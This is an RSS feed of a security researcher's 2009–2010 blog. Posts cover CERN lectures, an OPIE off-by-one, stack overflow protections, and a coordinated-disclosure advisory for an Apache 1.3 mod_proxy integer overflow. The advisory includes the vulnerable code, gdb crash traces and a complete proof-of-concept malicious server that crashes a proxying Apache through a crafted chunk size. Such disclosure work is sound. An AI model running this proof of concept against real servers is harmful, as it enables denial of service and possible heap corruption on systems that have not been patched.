<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pi3 blog</title>
	<atom:link href="http://blog.pi3.com.pl/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://blog.pi3.com.pl</link>
	<description>bughunt exploiting</description>
	<lastBuildDate>Tue, 27 Jul 2010 12:25:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Hospital&#8230;</title>
		<link>http://blog.pi3.com.pl/?p=118</link>
		<comments>http://blog.pi3.com.pl/?p=118#comments</comments>
		<pubDate>Tue, 27 Jul 2010 12:25:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[O wszystkim i o niczym]]></category>

		<guid isPermaLink="false">http://blog.pi3.com.pl/?p=118</guid>
		<description><![CDATA[Today (27.07.2010) I&#8217;m going to the hospital (Hospital de la Tour) for surgery&#8230; I don&#8217;t know how long I&#8217;m going to stay in the hospital after the surgery and when I will be available&#8230; Wish me good luck! Best regards, Adam Zabrocki]]></description>
			<content:encoded><![CDATA[<p>Today (27.07.2010) I&#8217;m going to the hospital (<span style="font-size: x-small;">Hospital de la Tour</span>) for surgery&#8230; I don&#8217;t know how long I&#8217;m going to stay in the hospital after the surgery and when I will be available&#8230; Wish me good luck!</p>
<p>Best regards,</p>
<p>Adam Zabrocki</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.pi3.com.pl/?feed=rss2&amp;p=118</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>OPIE Authentication System off-by-one</title>
		<link>http://blog.pi3.com.pl/?p=111</link>
		<comments>http://blog.pi3.com.pl/?p=111#comments</comments>
		<pubDate>Thu, 27 May 2010 08:17:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[O wszystkim i o niczym]]></category>

		<guid isPermaLink="false">http://blog.pi3.com.pl/?p=111</guid>
		<description><![CDATA[In co-operation with Maksymilian Arciemowicz we were analysing implementation of  OPIE Authentication System on FreeBSD. The result is discovered off-by-one vulnerability in library &#8216;libopie&#8217;. The most interesting point of this vulnerability is a possibility to exploit it pre-auth remotely! A lot of softwares using this library for authentication module. For example FreeBSD team change a [...]]]></description>
			<content:encoded><![CDATA[<p>In co-operation with Maksymilian Arciemowicz we were analysing implementation of  OPIE Authentication System on FreeBSD. The result is discovered off-by-one vulnerability in library &#8216;libopie&#8217;. The most interesting point of this vulnerability is a possibility to exploit it pre-auth remotely!</p>
<p>A lot of softwares using this library for authentication module. For example FreeBSD team change a little the source of  the OpenSSH. They added in some places the code which use the libopie <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  The same changed code is used by DragnoflyBSD. OpenSuSe is using libopie too. Novell systems too.</p>
<p>We&#8217;ve analysed exploiting way in default FTP daemon for FreeBSD 8.0. Official FreeBSD&#8217;s advisory is available <a href="http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc" target="_blank">here.</a></p>
<p>Out advisory is available <a href="http://site.pi3.com.pl/adv/libopie-adv.txt" target="_blank">here</a> and <a href="http://securityreason.com/achievement_securityalert/87" target="_blank">here</a> and&#8230; check the bugtraq list <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Best regards,</p>
<p>Adam Zabrocki</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.pi3.com.pl/?feed=rss2&amp;p=111</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>White Area lecture at CERN</title>
		<link>http://blog.pi3.com.pl/?p=108</link>
		<comments>http://blog.pi3.com.pl/?p=108#comments</comments>
		<pubDate>Sat, 01 May 2010 11:14:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Ideas]]></category>
		<category><![CDATA[Meeting]]></category>
		<category><![CDATA[O wszystkim i o niczym]]></category>

		<guid isPermaLink="false">http://blog.pi3.com.pl/?p=108</guid>
		<description><![CDATA[Yesterday (30 of April) I gave a lecture in WA (White Area) at CERN. I was talking about my new project (in fact Master of Degree thesis topic). This is automated testing tool which uses fuzzing technique. It can be used for generate CLI, API, Unit, Functionally, Regression, &#8230; , tests &#8211; in fact we [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday (30 of April) I gave a lecture in WA (White Area) at CERN. I was talking about my new project (in fact Master of Degree thesis topic). This is automated testing tool which uses fuzzing technique. It can be used for generate CLI, API, Unit, Functionally, Regression, &#8230; , tests &#8211; in fact we can use it for all types of tests. Generated programs are independent from language. It can generate output program in JAVA, C, C++, Assembler, Python, Perl, C#, &#8230; languages &#8211; we can simply add new modules for add new languages.  To be more flexible, framework used Aspect-Oriented Programming  (AOP). First beta version of framework is published on CERN svn servers. It is integrated with DPM CLI tests and works pretty well <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>In the future maybe I will publish some more details.</p>
<p>Btw. This project can be simply adapted for search vulnerabilities in software <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Best regards,</p>
<p>Adam Zabrocki</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.pi3.com.pl/?feed=rss2&amp;p=108</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Remote stack overflows</title>
		<link>http://blog.pi3.com.pl/?p=82</link>
		<comments>http://blog.pi3.com.pl/?p=82#comments</comments>
		<pubDate>Thu, 18 Mar 2010 10:18:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bughunt]]></category>
		<category><![CDATA[Exploiting]]></category>
		<category><![CDATA[Ideas]]></category>

		<guid isPermaLink="false">http://blog.pi3.com.pl/?p=82</guid>
		<description><![CDATA[One day I was reviewing all bugs in bugtraq IDs (popular bids). I want to know which kind of bugs is it now popular and what is the trend of modern bugs. I came to two main conclusions: 1) The most popular are SQL/XSS bugs but in 60% this is found in software which nobody [...]]]></description>
			<content:encoded><![CDATA[<p>One day I was reviewing all bugs in bugtraq IDs (popular bids). I want to know which kind of bugs is it now popular and what is the trend of modern bugs. I came to two main conclusions:</p>
<p>1) The most popular are SQL/XSS bugs but in 60% this is found in software which nobody knows/uses (stupid kiddie)</p>
<p>2) We&#8217;ve got 2010 year and there is still possible to find stack overflow bugs! The most funny thing for me there is more remote stack overflow bugs than local <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Stack overflow bugs is one of the oldest class of software bugs which still exists &#8211; more-less 10% of all bugs ! Of course it isn&#8217;t 199x year that you can find it using regexpression for &#8216;grep&#8217; program. So what is conclusion? Exploit stack overflow bugs is still interesting from attackers point of view. The question is &#8220;Is it still possible to exploit this class of bugs in modern UNIX systems in 2010 year?&#8221;. The answer for this question isn&#8217;t simple. Let&#8217;s do simple review of modern defence systems. We&#8217;ve got:</p>
<address>*) Non-exec memory (not only stack &#8211; almost every region where it is NOT necessary)</address>
<address>*) W^X &#8211; &#8220;Write XOR Exec&#8221; memory. It forbids memory with Write and Exec bits in the same time.<br />
</address>
<address>*) AAAS &#8211; ASCII Armored Address Space</address>
<address>*) ASLR &#8211; Address Space Layout Randomization</address>
<address>*) mmap() and mprotect() protections<br />
</address>
<address>*) Heap protections &#8211; like safe-unlink(), safe malloc() implementation (OpenBSD)</address>
<address>*) Random canary of death protections                       &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|<br />
</address>
<address>*) frame pointer protection by canary of death                                                |<br />
</address>
<address>*) move all pointers to the beginning of the frame                                           |==&gt;  pro-police<br />
</address>
<address>*) move all local byte arrays to the end of the frame                                       |        protection (SSP)</address>
<address>*) Vulnerable arguments copied to the local variables and then reordered&#8212;-|</address>
<address>.<br />
</address>
<address> </address>
<address> </address>
<p>We can bypass most of this protection but if it isn&#8217;t connected. Is there any possibilities to exploit in modern UNIX systems REMOTE stack overflow bugs with enabled ALL of this protections?! It sounds crazy&#8230; but STILL we CAN DO IT <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I wrote simple server with remote stack overflow bug and EXPLOIT it. Proof Of Concept of course is private but I created a movie of exploiting. You can find it here:</p>
<p><a href="http://site.pi3.com.pl/priv/bypass-all-protections.flv" target="_blank">http://site.pi3.com.pl/priv/bypass-all-protections.flv</a></p>
<p>We&#8217;ve got 2010 year and we can still exploit remote stack overflow bugs in modern UNIX systems <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Amazing&#8230; but it could be that this techniques (yes it isn&#8217;t one technique which is used to exploit this bug) is the last opportunity to exploiting remote stack overflow bugs&#8230; OK so&#8230; have a nice watching <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Best regards,</p>
<p>Adam Zabrocki</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.pi3.com.pl/?feed=rss2&amp;p=82</wfw:commentRss>
		<slash:comments>9</slash:comments>
<enclosure url="http://site.pi3.com.pl/priv/bypass-all-protections.flv" length="63511343" type="video/x-flv" />
		</item>
		<item>
		<title>Lecture at CERN</title>
		<link>http://blog.pi3.com.pl/?p=79</link>
		<comments>http://blog.pi3.com.pl/?p=79#comments</comments>
		<pubDate>Mon, 01 Mar 2010 14:04:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Meeting]]></category>
		<category><![CDATA[O wszystkim i o niczym]]></category>

		<guid isPermaLink="false">http://blog.pi3.com.pl/?p=79</guid>
		<description><![CDATA[28th of February I had a IT group meeting.  On this meeting I had been giving lecture about modern rootkits, virus and malwares for 1 hour. The presentation give a point for malware called bankers, attacks for device (skimming), new attack for CHIP cards, and how rootkits hide in *NIX systems. I have had really [...]]]></description>
			<content:encoded><![CDATA[<p>28th of February I had a IT group meeting.  On this meeting I had been giving lecture about modern rootkits, virus and malwares for 1 hour. The presentation give a point for malware called bankers, attacks for device (skimming), new attack for CHIP cards, and how rootkits hide in *NIX systems. I have had really positive feedback so I&#8217;m happy that people likes my talking <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Personally I think it wasn&#8217;t bad <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I can&#8217;t publish my presentation but if you know me I can talk with you about my topic of lecture <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Best regards,</p>
<p>Adam Zabrocki</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.pi3.com.pl/?feed=rss2&amp;p=79</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Intel lecture&#8230;</title>
		<link>http://blog.pi3.com.pl/?p=71</link>
		<comments>http://blog.pi3.com.pl/?p=71#comments</comments>
		<pubDate>Wed, 10 Feb 2010 14:48:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[O wszystkim i o niczym]]></category>

		<guid isPermaLink="false">http://blog.pi3.com.pl/?p=71</guid>
		<description><![CDATA[CERN openlab / Intel Computer Architecture and Performance Tuning Workshop Winter 2010&#8230; From 9:00 (9th of February) until 17:00 (10th of February) openlab are filled by people who wants to learn smth from Intel&#8217;s guys&#8230; At the beginning I want to say that one of the speaker will be Polish guy &#8211; Andrzej Nowak. Here [...]]]></description>
			<content:encoded><![CDATA[<p>CERN openlab / Intel Computer Architecture and Performance Tuning Workshop Winter 2010&#8230; From 9:00 (9th of February) until 17:00 (10th of February) openlab are filled by people who wants to learn smth from Intel&#8217;s guys&#8230; At the beginning I want to say that one of the speaker will be Polish guy &#8211; Andrzej Nowak. Here is short plan of lectures:</p>
<pre>Day 1 - Feb 9th 2010

09:00, 5'        Introduction - Sverre Jarp, CERN openlab
09:05, 75'       Scalability in software and hardware -
                 -tuning performance in 7 dimensions
                 - Sverre Jarp, CERN openlab
10:20, 10'       Break
10:30, 20'       Systematic benchmarking - Jeff Arnold, Intel
10:50, 30'       Compiler overview - Sverre Jarp, CERN openlab
11:20, 10'       Break
11:30, 60'       Understunding performance tuning
                 - Andrzej Nowak, CERN openlab
12:30, 90'       Lunch (by own)
14:00, 2h 30'    Lab exercises
16:30, 30'       Exercises summary + Q&amp;A

Day 2 - Feb 10th 2010

09:00, 45'       Vectorization - Andrzej Nowak, CERN openlab
09:45, 45'       Guest speaker: C++ optimization -
                 - Lorenzo Montea, CERN
10:30, 10'       Break
10:40, 30'       Floating point computation - Jeff Arnold, Intel
11:10, 30'       NUMA memory systems - Julien Leduc, CERN openlab
11:40, 10'       Break
11:50, 45'       Advanced performance tuning and compilers
                 - Jeff Arnold, Intel
12:35, 85'       Lunch (by own)
14:00, 2h 30'    Exercises summary + Q&amp;A
</pre>
<p>After all lectures what I&#8217;ve heard (not everything),  lecture about Vectorization was the best (for me :&gt;). Greetings for Andrzej Nowak <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.pi3.com.pl/?feed=rss2&amp;p=71</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CVE-2010-0010: Apache mod_proxy vulnerability</title>
		<link>http://blog.pi3.com.pl/?p=69</link>
		<comments>http://blog.pi3.com.pl/?p=69#comments</comments>
		<pubDate>Wed, 27 Jan 2010 15:05:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[O wszystkim i o niczym]]></category>

		<guid isPermaLink="false">http://blog.pi3.com.pl/?p=69</guid>
		<description><![CDATA[CVE-2010-0010: Apache mod_proxy vulnerability After contact with Apache security team i can publish new advisory. This bug exists only in apache 1.3 version in mod_proxy modules, only in 64 bits architecture. I would like to thanks Colm MacCárthaigh &#8211; the guy responsible for contact with me and patch this hole. Bugfix ﻿is available in a [...]]]></description>
			<content:encoded><![CDATA[<p>CVE-2010-0010: Apache mod_proxy vulnerability</p>
<p>After contact with Apache security team i can publish new advisory. This bug exists only in apache 1.3 version in mod_proxy modules, only in 64 bits architecture.</p>
<p>I would like to thanks Colm MacCárthaigh &#8211; the guy responsible for contact with me and patch this hole.</p>
<p>Bugfix ﻿is available in a forthcoming version of Apache 1.3.x.</p>
<p>If you have any question just contact with me. Advisory is avaible <a href="http://site.pi3.com.pl/adv/mod_proxy.txt" target="_blank">here</a>:</p>
<pre>Name:                      Mod_proxy from apache 1.3 - Integer overflow which causes heap overflow.
Author:                    Adam Zabrocki (&lt;pi3@itsec.pl&gt; or &lt;zabrocki@cern.ch&gt;)
Date:                      Jan 27, 2010

   Issue:

Mod_proxy from apache 1.3.xx (tested on latest version - 1.3.41) allows local and remote attackers
to overflow buffer on heap via integer overflow vulnerability.

   Description:

Mod_proxy implements a proxy/cache for Apache. It implements proxying capability for FTP, CONNECT (for SSL),
HTTP/0.9, HTTP/1.0, and (as of Apache 1.3.23) HTTP/1.1. The module can be configured to connect to other
proxy modules for these and other protocols.

   Details:

Let's look in code:

"./src/modules/proxy/proxy_util.c"
long int ap_proxy_send_fb(BUFF *f, request_rec *r, cache_req *c, off_t len, int nowrite, int chunked, size_t recv_buffer_size)
{

...
    size_t buf_size;
    long remaining = 0;
...

    for (end_of_chunk = ok = 1; ok;) {
...
        if (chunked) {
            long chunk_start = 0;
            n = 0;

            /* start of a new chunk */
            if (end_of_chunk) {
                end_of_chunk = 0;
                /* get the chunk size from the stream */
                chunk_start = ap_getline(buf, buf_size, f, 0);    &lt;----------------  [0] reading line from traffic (socket)
                if ((chunk_start &lt;= 0) || ((size_t)chunk_start + 1 &gt;= buf_size) || !ap_isxdigit(*buf)) {
                    n = -1;
                }
                /* parse the chunk size */
                else {
                    remaining = ap_get_chunk_size(buf);           &lt;----------------  [1] convert readed data to 'long' size!
                    if (remaining == 0) { /* Last chunk indicated, get footers */
...
...
                        }
                    }
                    else if (remaining &lt; 0) {
                        n = -1;
                        ap_log_rerror(APLOG_MARK, APLOG_DEBUG|APLOG_NOERRNO, r,
                                      "proxy: remote protocol error, invalid chunk size");
                    }
                }
            }

            /* read the chunk */
            if (remaining &gt; 0) {
                n = ap_bread(f, buf, MIN((int)buf_size, (int)remaining));     &lt;------------- [2] convert 'long' to 'int' !!!!
                if (n &gt; -1) {
                    remaining -= n;
                    end_of_chunk = (remaining == 0);
                }
            }
...
...
}

OK. We have simple flow in this code:

-&gt; server read header
-&gt; if it is chunked connection
  -&gt; [0] server will wait and then read data from socket (size of the chunk)
  -&gt; simple check what server received
  -&gt; [1] convert received data to 'long' type
  -&gt; if there is possitive chunk size
     -&gt; [2] directly convert 'long' to 'int' type    &lt;- here is integer overflow bug in amd64 architecture !!!
     -&gt; copy data using converted type

Vulnerability exists only in 64 bits architectures when server directly convert 'long' type to 'int'.
On 64 bits architectures:
   long - 8 bytes
   int  - 4 bytes

When we have conversion from 'long' to 'int' in 64 bits architectures, directly is removed lower 4 bytes.

OK. Let's find calls to this vulnerable function:
./src/modules/proxy/proxy_cache.c:            ap_proxy_send_fb(c-&gt;origfp, r, c, c-&gt;len, 1, 0, IOBUFSIZE);
./src/modules/proxy/proxy_cache.c:            ap_proxy_send_fb(c-&gt;origfp, r, c, c-&gt;len, 1, 0, IOBUFSIZE);
./src/modules/proxy/proxy_cache.c:        ap_proxy_send_fb(c-&gt;origfp, r, c, c-&gt;len, r-&gt;header_only, 0, IOBUFSIZE);
./src/modules/proxy/proxy_cache.c:        ap_proxy_send_fb(cachefp, r, NULL, c-&gt;len, 0, 0, IOBUFSIZE);
./src/modules/proxy/proxy_ftp.c:            ap_proxy_send_fb(data, r, c, -1, 0, 0, conf-&gt;io_buffer_size);
./src/modules/proxy/proxy_http.c:        ap_proxy_send_fb(f, r, c, c-&gt;len, 0, chunked != NULL, 

I was testing mod_proxy for http configuration. How it works in details?

client ---------&gt; Server  &lt; -- (mod_proxy_XXX) -- &gt; Other server
                   ^
                   |
                   |
                   -&gt; CACHE (proxy cache)

Proof of Concept which I attached to this advisory causes vulnerability in connection:
                Server &lt; ---- &gt; Other server
... but as we can see (calls to vuln function) probably there is some opportunity
to trigger this vulnerability from CACHE (proxy cache).

In real world this vulnerability is dangerous for open proxy servers. In pentesting could be useful
to attack server behind other servers... but... everyone knows probably better vectors <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> 

   Proof of concept

[root@pi3-test apache]# gdb -q ./bin/httpd
(gdb) r -X
Starting program: /usr/local/apache/bin/httpd -X
[Sun Dec 27 05:03:19 2009] [alert] httpd: Could not determine the server's fully
qualified domain name, using 127.0.0.1 for ServerName

Program received signal SIGSEGV, Segmentation fault.
0x0000003fec682958 in memcpy () from /lib64/libc.so.6
Missing separate debuginfos, use: debuginfo-install expat-2.0.1-6.fc11.1.x86_64
glibc-2.10.1-5.x86_64 nss-softokn-freebl-3.12.4-3.fc11.x86_64
(gdb) bt
#0  0x0000003fec682958 in memcpy () from /lib64/libc.so.6
#1  0x000000000043083c in inet_addr ()
#2  0x000000000042a796 in inet_addr ()
#3  0x000000000042975f in inet_addr ()
#4  0x000000000041d8f5 in inet_addr ()
#5  0x0000000000432a29 in inet_addr ()
#6  0x000000000044bc88 in inet_addr ()
#7  0x000000000044bceb in inet_addr ()
#8  0x0000000000441344 in inet_addr ()
#9  0x0000000000441521 in inet_addr ()
#10 0x00000000004416a7 in inet_addr ()
#11 0x0000000000441f5f in inet_addr ()
#12 0x0000000000442820 in inet_addr ()
#13 0x0000003fec61ea2d in __libc_start_main () from /lib64/libc.so.6
#14 0x0000000000403399 in inet_addr ()
#15 0x00007fffffffe618 in ?? ()
#16 0x000000000000001c in ?? ()
#17 0x0000000000000002 in ?? ()
#18 0x00007fffffffe87d in ?? ()
#19 0x00007fffffffe899 in ?? ()
#20 0x0000000000000000 in ?? ()
(gdb) x/i $rip
0x3fec682958 &lt;memcpy+792&gt;:      mov    %r11,0x20(%rdi)
(gdb) i r rdi
rdi            0x6d1fde 7151582
(gdb) i r r11
r11            0x0      0
(gdb)

OK. Let's do the same with debug symbols:

[root@pi3-test apache_1.3.41]# gdb -q ./src/httpd
(gdb) r -X
Starting program: /root/mod_proxy/apache_1.3.41/src/httpd -X
[Wed Dec 30 17:00:37 2009] [alert] httpd: Could not determine the server's fully
qualified domain name, using 127.0.0.1 for ServerName

Program received signal SIGSEGV, Segmentation fault.
0x0000003fec682958 in memcpy () from /lib64/libc.so.6
Missing separate debuginfos, use: debuginfo-install expat-2.0.1-6.fc11.1.x86_64
glibc-2.10.1-5.x86_64 nss-softokn-freebl-3.12.4-3.fc11.x86_64
(gdb) bt
#0  0x0000003fec682958 in memcpy () from /lib64/libc.so.6
#1  0x000000000043083c in ap_bread (fb=0x6bb120, buf=0x6bfd98, nbyte=-65536) at buff.c:776
#2  0x000000000042a796 in ap_proxy_send_fb (f=0x6bb120, r=0x6b9960, c=0x6bacc0, len=-1,
    nowrite=0, chunked=1, recv_buffer_size=8192) at proxy_util.c:536
#3  0x000000000042975f in ap_proxy_http_handler (r=0x6b9960, c=0x6bacc0,
    url=0x6bacae "http://127.0.0.1/", proxyhost=0x0, proxyport=0) at proxy_http.c:636
#4  0x000000000041d8f5 in proxy_handler (r=0x6b9960) at mod_proxy.c:395
#5  0x0000000000432a29 in ap_invoke_handler (r=0x6b9960) at http_config.c:476
#6  0x000000000044bc88 in process_request_internal (r=0x6b9960) at http_request.c:1299
#7  0x000000000044bceb in ap_process_request (r=0x6b9960) at http_request.c:1315
#8  0x0000000000441344 in child_main (child_num_arg=0) at http_main.c:4885
#9  0x0000000000441521 in make_child (s=0x68f0b0, slot=0, now=1262188837) at http_main.c:5000
#10 0x00000000004416a7 in startup_children (number_to_start=5) at http_main.c:5083
#11 0x0000000000441f5f in standalone_main (argc=2, argv=0x7fffffffe608) at http_main.c:5430
#12 0x0000000000442820 in main (argc=2, argv=0x7fffffffe608) at http_main.c:5773
(gdb) up
#1  0x000000000043083c in ap_bread (fb=0x6bb120, buf=0x6bfd98, nbyte=-65536) at buff.c:776
776             memcpy(buf, fb-&gt;inptr, nbyte);
(gdb) print nbyte
$1 = -65536
(gdb) print (unsigned int)nbyte
$2 = 4294901760
(gdb) list
771     #ifdef CHARSET_EBCDIC
772             if (fb-&gt;flags &amp; B_ASCII2EBCDIC)
773                 ascii2ebcdic(buf, fb-&gt;inptr, nbyte);
774             else
775     #endif /*CHARSET_EBCDIC*/
776             memcpy(buf, fb-&gt;inptr, nbyte);
777             fb-&gt;incnt = nrd - nbyte;
778             fb-&gt;inptr += nbyte;
779             return nbyte;
780         }

--- server.c ---
#include &lt;stdio.h&gt;
#include &lt;stdint.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;pthread.h&gt;
#include &lt;errno.h&gt;
#include &lt;netdb.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/un.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;unistd.h&gt;
#include &lt;fcntl.h&gt;

#define PORT 80
#define sys_err(x)                         \
do {                                       \
   fprintf(stderr,"%s",x);                 \
   exit(-1);                               \
} while(0)

void *parse_me(void *arg);

int main(int argc, char *argv[]) {

   int r_sock,connfd,tmp,tmp2;
   struct sockaddr_in saddr;
   pthread_t bo_tak;
   struct stat statbuf;

   if ( (r_sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
      sys_err("Socket()!\n");

   tmp=sizeof(struct sockaddr_in);
   memset(&amp;saddr,0x0,tmp);
   saddr.sin_family      = PF_INET;
   saddr.sin_port        = htons(PORT);
   saddr.sin_addr.s_addr = htonl(INADDR_ANY);

   if (bind(r_sock, (struct sockaddr *) &amp;saddr, tmp) == -1)
      sys_err("Bind()!\n");

   if ( (listen(r_sock,0x666)) != 0)
      sys_err("Listen()!\n");

pierw_p:

   while (1) {
      if ( (connfd=accept(r_sock,(struct sockaddr*)&amp;saddr,(socklen_t *)&amp;tmp)) &lt; 0) {
         if (errno == EINTR)
            goto pierw_p;
         else
            sys_err("Accept()!\n");
      }
      if ( (tmp2=pthread_create(&amp;bo_tak,NULL,parse_me,(void *)connfd/*&amp;tymczasowe*/) != 0))
         sys_err("Accept() =&gt; Blad przy tworzeniu watku! Wychodze...");
   }
}

void *parse_me(void *arg) {

   int sock = (int)arg;
   char buf[4096];
   char *head = "HTTP/1.1 200 OK\r\n"
                "Date: Sat, 66 Dec 666 23:56:50 GMT\r\n"
                "Server: pi3 (pi3 OS)\r\n"
                "X-Powered-By: pi3\r\n"
                "Connection: close\r\n"
                "Transfer-Encoding: chunked\r\n"
                "Content-Type: text/html; charset=UTF-8\r\n\r\n";

   memset(buf,0x0,4096);
   read(sock,buf,4096);
   write(sock,head,strlen(head));
   write(sock,"10000000FFFF0000\n",17);
   while(1)
      write(sock,"A",1);
}
---   EOF    ---

   Greets

+) Kochana Ewa :* <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />
+) Guys from HISPASEC, snoop, thorkill, Piotr Bania, tmg, guys from isec.pl,
   guys from SecurityReason, #lam3rz@IRCNET and #plhack@IRCNET
+) Colm MacCárthaigh from apache security team.

   Disclaimer

This document and all the information it contains is provided "as is",
without any warranty. The author is not responsible for the
misuse of the information provided in this advisory. The advisory is
provided for educational purposes only.

Permission is hereby granted to redistribute this advisory, providing
that no changes are made and that the copyright notices and
disclaimers remain intact.

   Ending words...

That's all. I have tested it on/with latest apache version - 1.3.41.
Probably all versions 1.3.xx are vulnerability.

- Thanks and Best regards Adam Zabrocki (pi3 / pi3ki31ny).

   BUGFIX:

Fix is available in a forthcoming version of Apache 1.3.x.

   Disclosure Timeline

*) 27 Jan,  2010  -  release advisory
...
*) 06 Jan,  2010  -  release patch
...
...
*) 30 Dec,  2009  -  contact with vendor
*) 24 Dec,  2009  -  exploit bug and write advisory
*) 04 Sept, 2009  -  found bug

--

http://pi3.com.pl
</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.pi3.com.pl/?feed=rss2&amp;p=69</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Apache vulnerability</title>
		<link>http://blog.pi3.com.pl/?p=67</link>
		<comments>http://blog.pi3.com.pl/?p=67#comments</comments>
		<pubDate>Wed, 30 Dec 2009 15:50:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bughunt]]></category>
		<category><![CDATA[Exploiting]]></category>

		<guid isPermaLink="false">http://blog.pi3.com.pl/?p=67</guid>
		<description><![CDATA[This will be very short post&#8230; I have found (few months ago) security vulnerability in one of Apache server/module. I contact with apache security team. After few days I will decide about &#8220;future&#8221; of this bug &#8211; publish or wait for security path and publish after it. Now I can paste here simple output from [...]]]></description>
			<content:encoded><![CDATA[<p>This will be very short post&#8230; I have found (few months ago) security vulnerability in one of Apache server/module. I contact with apache security team. After few days I will decide about &#8220;future&#8221; of this bug &#8211; publish or wait for security path and publish after it. Now I can paste here simple output from gdb:</p>
<pre>Program received signal SIGSEGV, Segmentation fault.
0x0000003fec682958 in memcpy () from /lib64/libc.so.6
Missing separate debuginfos, use: debuginfo-install expat-2.0.1-6.fc11.1.x86_64
glibc-2.10.1-5.x86_64 nss-softokn-freebl-3.12.4-3.fc11.x86_64
(gdb) bt
#0  0x0000003fec682958 in memcpy () from /lib64/libc.so.6
#1  0x000000000043083c in inet_addr ()
#2  0x000000000042a796 in inet_addr ()
#3  0x000000000042975f in inet_addr ()
#4  0x000000000041d8f5 in inet_addr ()
#5  0x0000000000432a29 in inet_addr ()
#6  0x000000000044bc88 in inet_addr ()
#7  0x000000000044bceb in inet_addr ()
#8  0x0000000000441344 in inet_addr ()
#9  0x0000000000441521 in inet_addr ()
#10 0x00000000004416a7 in inet_addr ()
#11 0x0000000000441f5f in inet_addr ()
#12 0x0000000000442820 in inet_addr ()
#13 0x0000003fec61ea2d in __libc_start_main () from /lib64/libc.so.6
#14 0x0000000000403399 in inet_addr ()
#15 0x00007fffffffe618 in ?? ()
#16 0x000000000000001c in ?? ()
#17 0x0000000000000002 in ?? ()
#18 0x00007fffffffe87d in ?? ()
#19 0x00007fffffffe899 in ?? ()
#20 0x0000000000000000 in ?? ()</pre>
<p>Best regards,</p>
<p>Adam Zabrocki</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.pi3.com.pl/?feed=rss2&amp;p=67</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mtr advisory&#8230;</title>
		<link>http://blog.pi3.com.pl/?p=63</link>
		<comments>http://blog.pi3.com.pl/?p=63#comments</comments>
		<pubDate>Tue, 15 Dec 2009 13:42:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bughunt]]></category>
		<category><![CDATA[Exploiting]]></category>
